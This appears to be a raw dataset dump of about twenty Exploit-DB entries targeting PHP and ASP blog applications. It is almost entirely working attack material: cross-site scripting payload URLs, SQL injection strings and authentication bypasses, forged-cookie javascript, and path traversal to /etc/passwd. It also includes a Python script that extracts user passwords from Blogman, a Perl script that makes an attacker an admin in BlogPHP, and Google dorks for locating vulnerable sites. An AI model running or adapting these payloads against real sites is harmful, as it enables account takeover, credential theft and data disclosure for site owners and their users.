deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26573
Description: blogBuddies 0.3 - 'magpie_debug.php?url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-23
Author: gb.network

Exploit:
source: https://www.securityfocus.com/bid/15555/info
 
blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/magpierss-0.71/scripts/
magpie_debug.php?url="><script>alert("...");</script>
Exploit-DB #26574
Description: blogBuddies 0.3 - 'magpie_slashbox.php?rss_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-23
Author: gb.network

Exploit:
source: https://www.securityfocus.com/bid/15555/info
  
blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/magpierss-0.71/scripts/
magpie_slashbox.php?rss_url="><script>alert("...");</script>
Exploit-DB #35110
Description: BlogCFC 5.9.6.001 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-14
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/45395/info

BlogCFC is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BlogCFC 5.9.6.001 is vulnerable; other versions may also be affected. 

http://www.example.com/tags/podlayout.cfm?ATTRIBUTES.TITLE=<script>alert(1)</script>&thistag.EXECUTIONMODE=start

http://www.example.com/tags/textarea.cfm?attributes.class=">&lt;/textarea&gt;<script>alert(1)</script>&attributes.fieldname=Procheckup&attributes.style=1&attributes.value=1&

http://www.example.com/includes/pods/subscribe.cfm?errorMessage="><script>alert(1)</script>

http://www.example.com/index.cfm?errorMessage="><script>alert(1)</script>


http://www.example.com/includes/pods/subscribe.cfm?"onmouseover="alert(1);

http://www.example.com/index.cfm?"onmouseover="alert(1);

http://www.example.com/search.cfm?"onmouseover="alert(1);

http://www.example.com/stats.cfm?"onmouseover="alert(1);

http://www.example.com/statsbyyear.cfm?"onmouseover="alert(1);

http://www.example.com/tags/getpods.cfm?"onmouseover="alert(1);
Exploit-DB #6925
Description: Bloggie Lite 0.0.2 Beta - Insecure Cookie Handling / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: JosS

Exploit:
# Bloggie Lite 0.0.2 Beta SQl Injection by Insecure Cookie Handling
# url: http://mywebland.com/download.php?id=20
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /genscode.php
vuln code:
39: $user_ip = $_SERVER['REMOTE_ADDR'];
    define('COMMENT_COOKIE', md5($user_ip));
    if(isset($_COOKIE[COMMENT_COOKIE])) {
xx: ...
    $comment_cookie = $_COOKIE[COMMENT_COOKIE];
55: $sql = "SELECT * FROM ".SCODE_TBL." WHERE cookie = '".$comment_cookie."'";

exploit:
javascript:document.cookie = "f528764d624db129b32c21fbca0cb8d6=127.0.0.1'+union+all+select+user(),user(),user()/*; path=/";

Hack0wn :D

# milw0rm.com [2008-11-01]
Exploit-DB #7689
Description: BlogHelper - Remote Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-01-06
Author: ahmadbady

Exploit:
......

  Remote Config File Disclosure
----------------------------------------------------
script: BlogHelper
   
***************************************************************************
download from:http://www.freedville.com/oss/BlogHelper.zip
   
***************************************************************************
vul:

www.site.com/path/common_db.inc
................................
  $dbhost = "";
  $dbusername = "";
  $dbuserpass = "";
  $default_dbname = ";
..............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-06]
Exploit-DB #8243
Description: Bloginator 1a - Cookie Bypass / SQL Injection
Type: webapps
Platform: php
Date: 2009-03-19
Author: Fireshot

Exploit:
##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Osirys, Myral, str0ke

###########################################################################

Vulnerability = Insicure Cookie Handling

###########################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST['name'],0,32));
$p_password = strip_tags(substr($_POST['password'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
 {

           setcookie("identifyYourself","you are identified");
           print "Login successfull<br>";
           print $returnLink;
       }
   else {print "Wrong username or password";
   }
}

[/CODE]


[EXPLOIT]

javascript:document.cookie = "identifyYourself=you+are+identified; path=/";

[/EXPLOIT]

############################################################################

Vulnerability = SQL injection

############################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

$action = @$_GET['action'];
[...]
$id = $_GET['id'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = "select * FROM articles WHERE id='$id'";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,'title');
$title = htmlentities($title);
$article = mysql_result($sql,0,'article');
$article = htmlentities($article);
$link = mysql_result($sql,0,'link');
$link = htmlentities($link);

startHTML("Edit ID # ".$id);
?>

[/CODE]

[EXPLOIT]

As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.

www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '*

[/EXPLOIT]

############################################################################## 

# milw0rm.com [2009-03-19]
Exploit-DB #7806
Description: blogit! - SQL Injection / File Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-16
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: BlogIt!
Download : http://www.katywhitton.com/downloads/BlogIt!/BlogItDL.zip
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (SQL/DD/XSS)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/[Path]/index.asp?view=archive&day=[SQL]
[DD]:
http://site.com/[Path]/database/Blog.mdb
[XSS]:
http://site.com/[Path]/index.asp?view='+style='background:url(JaVaScRiPt:alert(1369))'+invalidparam='&day=1&month=12&year=2008
---------------------------------

# milw0rm.com [2009-01-16]
Exploit-DB #14827
Description: Blogman 0.7.1 - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-28
Author: Ptrace Security

Exploit:
#!/usr/bin/python
#
# Exploit Title:   Blogman v0.7.1 (profile.php) SQL Injection Exploit
# Date         :   28 August 2010
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/blogman/
# Version      :   0.7.1
# Tested on    :   EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + profile.php => SQL Injection!!
#
# 6:    $query = "SELECT * FROM ".$GLOBALS['dbTablePrefix']."user WHERE
#       UserID='".$_GET['id']."'";
# 7:    $profileuser = mysql_fetch_array(mysql_query($query));
#
# + profile.php => The query showed above returns a 16-columns table. UserName,
#   which is the 2nd column's name, is used few line after the query to display
#   the information extracted.
#
# 12:   echo $profileuser['UserName']."</p>\n";
#

import re
import sys
import http.client
import urllib.parse


def usage(prog):
    print('Usage  : ' + prog + ' <target> <path> <user_id>\n')
    print('Example: ' + prog + ' localhost /blogman/ 2')
    print('         ' + prog + ' www.example.com /complete/path/ 1')
    return


def exploit(target, path, userid):
    payload  = 'profile.php?id=-1%27%20UNION%20SELECT%20NULL,%20CONCAT(%27%3C1'
    payload += '%3E%27,UserName,%27:%27,UserPassword,%27%3C2%3E%27),%20NULL,%20'
    payload += 'NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,'
    payload += '%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20blogman_user'
    payload += '%20WHERE%20UserID=%27' + str(userid) + '%27%20--%20%27'

    print('[+] Sending HTTP Request')
    con = http.client.HTTPConnection(target)
    con.request('GET', path + payload)
    res = con.getresponse()
    
    if res.status != 200:
        print('[!] HTTP GET request failed.')
        exit(1)

    print('[+] Parsing HTTP Response')
    data = res.read().decode()
    pattern = re.compile(r"<1>(.+?)<2>", re.M)
    m = pattern.search(data)

    if m:
        print('[+] Information Extracted:\n')
        print(m.group()[3:-3])
    else:
        print('[!] No information found')
        
    return


print('\n+-----------------------------------------------------------------------+')
print('| Blogman v0.7.1 (profile.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------+\n')

if len(sys.argv) != 4:
    usage(sys.argv[0])
else:
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

exit(0)
Exploit-DB #5533
Description: BlogMe PHP 1.1 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-03
Author: His0k4

Exploit:
###########################################
{+} BlogMe PHP remote SQL injection exploit
{+} Script download : http://www.drumster.net/gamma/downloads/BlogMe11.zip
{+} Founded by : His0k4 [ ALGERIAN HaCkEr ]
{+} Greetz : All friends & muslims HaCkeRs...
{+} Dork : "BlogMe PHP created by Gamma Scripts"
###########################################
{+} Exploit :
http://localhost/[BlogMe_path]/comments.php?id=-1 UNION SELECT 1,2,3,4,5,6,aes_decrypt(aes_encrypt(user(),0x71),0x71)--
OR :
http://localhost/[BlogMe_path]/comments.php?id=-1 UNION SELECT 1,2,unhex(hex(database())),4,5,6,7--
###########################################

# milw0rm.com [2008-05-03]
Exploit-DB #27099
Description: BlogPHP 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-16
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16269/info

BlogPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
http://www.example.com/index.php?act=login
username: a' or 1/*
[CREDENTIAL_REDACTED]
Exploit-DB #27117
Description: BlogPHP 1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-20
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16340/info

BlogPHP is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected. 

The following proof of concept is available:


blogphp_username=admin
blogphp_password=imei' or '1'='1
Exploit-DB #31774
Description: BlogPHP 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-10
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/29133/info

BlogPHP is prone to multiple input-validation vulnerabilities, including a cross-site scripting issue, an HTML-injection issue, and a cookie-manipulation issue.

Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, and gain access as an arbitrary user.

BlogPHP 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?act=sendmessage&user=admin[XSS]
Exploit-DB #17640
Description: BlogPHP 2.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-09
Author: Paulzz

Exploit:
# Exploit Title: BlogPHP v2 - XSS
# Google Dork: "Copyright ©2006 Powered by www.blogphp.net"
# Date: 09/08/2011
# Author: Paul Maaouchy( Paulzz )
# Software Link: http://sourceforge.net/projects/blogphpscript/files/blogphpscript/2.0/BlogPHPv2.zip/download
# Version: v2
# Tested on: 
# CVE : 
How to exploit:
1- Go there : http://localhost/blogphp/register.html.
2- Put in the Username field the XSS Code.  Example:<META http-equiv="refresh" content="0;URL=http://www.google.com">  .
3- Put anything in the other field ( Password & E-mail).
4- Now anyone go there : http://localhost/blogphp/members.html will redirected to google.com OR exploit your XSS Code.

Paul Maaouchy ( Paulzz )
Contact me 
@ spy.xp@hotmail.com
@ paul.maaouchy@gmail.com
@ paulmeouchi@paulmeouchi.com
Exploit-DB #5909
Description: BlogPHP 2.0 - Privilege Escalation / SQL Injection
Type: webapps
Platform: php
Date: 2008-06-23
Author: Cod3rZ

Exploit:
#!/usr/bin/perl
# BlogPHP 2.0 Remote Privilege Escalation Exploit
# Author : Cod3rZ
# Site   : http://cod3rz.helloweb.eu
# Site   : http://devilsnight.altervista.org
# Cuz We Back Rude This Time
#
# Privilege Escalation
# Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:
# username=[yourusername]&password=[yourpass]&email=[yourmail]','Admin','','','','','','','','','','','','')/*
#
# There are other bugs, find them yourself
#
# Usage: perl bp.pl <site> <user> <pass> <mail>

system('cls');
#system('clear');

use LWP::UserAgent;
use HTTP::Request::Common;

$site = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$mail = $ARGV[3];

 print " -------------------------------------------------\n";
 print " BlogPHP 2.0 Remote Privilege Escalation Exploit  \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";

sub usage {
	print " Usage: perl bp.pl <site> <user> <pass> <mail>    \n";
	print " -------------------------------------------------\n";
}
 if(!$mail) { &usage; }
 else {	
	if ($site !~ /http:\/\//) { $site = "http://".$site; }

	print " Site: $site                                      \n";
	print " User: $user                                      \n";
	print " Pass: $pass                                      \n";
	print " Mail: $mail                                      \n";
	print " -------------------------------------------------\n";
	print " Please Wait                                      \n";
	print " -------------------------------------------------\n";

	$ua = LWP::UserAgent->new;
	 $lwp = $ua->request(POST $site.'index.php?act=register2', 
	  [ username => $user, password => $pass, email    => $mail."','Admin','','','','','','','','','','','','')/*" ]);
	
	if($lwp->content =~ /Your now registered and logged in/) {
		print " Done. Now you're admin                           \n";
		print " -------------------------------------------------\n";
	}
	else {
		print " Failed.                                          \n";
		print " -------------------------------------------------\n";
	}

}

# milw0rm.com [2008-06-23]
Exploit-DB #8290
Description: blogplus 1.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-03-26
Author: ahmadbady

Exploit:
                         --:local file include:--
                       ---------------------------------  
script:blog+ v1.0
   
----------------------------------------------
download from:http://www.ziddu.com/download/3151643/blogplus_v1.0_final.zip.html
   
----------------------------------------------

...............................................
vul:/includes/

block_center_down.php = $block_center_down_file = $row_mysql_blocks_center_down['file']; line 6
  include ("blocks/".$block_center_down_file.""); line 7 

block_center_top..php = $block_center_top_file = $row_mysql_blocks_center_top['file']; 6
  include ("blocks/".$block_center_top_file.""); 7

-------------------------------------------
vul:/includes/

block_left.php = $block_left_file = $row_mysql_blocks_left['file']; line 8
  include ("blocks/".$block_left_file.""); 9


block_right.php = $block_right_file = $row_mysql_blocks_right['file']; 6
  include ("blocks/".$block_right_file.""); 7


line1; window_down.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/down.html"); ?>

line1; window_top.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/top.html"); ?>


-------------------------------------------
-------------------------------------------
xpl:

/path/includes/block_center_down.php?row_mysql_blocks_center_down[file]=../../../../../../etc/passwd
/path/includes/block_center_top.php?row_mysql_blocks_center_top[file]=../../../../../../etc/passwd
/path/includes/block_left.php?row_mysql_blocks_left[file]=../../../../../../etc/passwd
/path/includes/block_right.php?row_mysql_blocks_right[file]=../../../../../../etc/passwd
/path/includes/window_down.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
/path/includes/window_top.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

---------------------------------------------------

# milw0rm.com [2009-03-26]
Exploit-DB #18129
Description: Blogs manager 1.101 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-19
Author: muuratsalo

Exploit:
------------------------------------------------------------------------
Blogs manager <= 1.101 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/blogsmanager/


[0x01] Vulnerability overview:

Blogs manager <= 1.101 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/blogs/_authors_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_blogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_category_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_comments_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_policy_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_rate_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/categoriesblogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_authors_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_blogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_comments_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/help_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
Exploit-DB #1097
Description: BlogTorrent 0.92 - Remote Password Disclosure
Type: webapps
Platform: php
Date: 2005-07-11
Author: LazyCrs

Exploit:
# Edited for easy info. /str0ke

Software:    BlogTorrent 0.92 <=
Vendor:      http://www.blogtorrent.com/
Author:      LazyCrs && pjphem
Date:        10/07/2005
Type:        Remote/Local User Password Disclosure

#0x03 - POC

http://test/path_of_blog/data/newusers
=
d40:14ae696abdca1688dd577fe486c3981f331457b0d7:Createdi[PII_REDACTED]e5:Email17:email@email4:Hash40:d7b82821fe725305bded2fab9e91ed1e0e6fd93bee

Username (crypt in md5) ->  14ae696abdca1688dd577fe486c3981f331457b0d7
Password  (crypt in md5) ->  d7b82821fe725305bded2fab9e91ed1e0e6fd93bee

#LazyCrs[AT]GMail[DOT]com - pjphem[AT]mybox[DOT]it
#FREE RAFA! FREE RAFA! FREE RAFA!

# milw0rm.com [2005-07-11]
Exploit-DB #29049
Description: BlogTorrent Preview 0.92 - 'Announce.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-16
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21125/info

BlogTorrent Preview is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks

BlogTorrent Preview 0.92 and prior versions are vulnerable to this issue.

http://www.example.com/announce.php?left=[xss]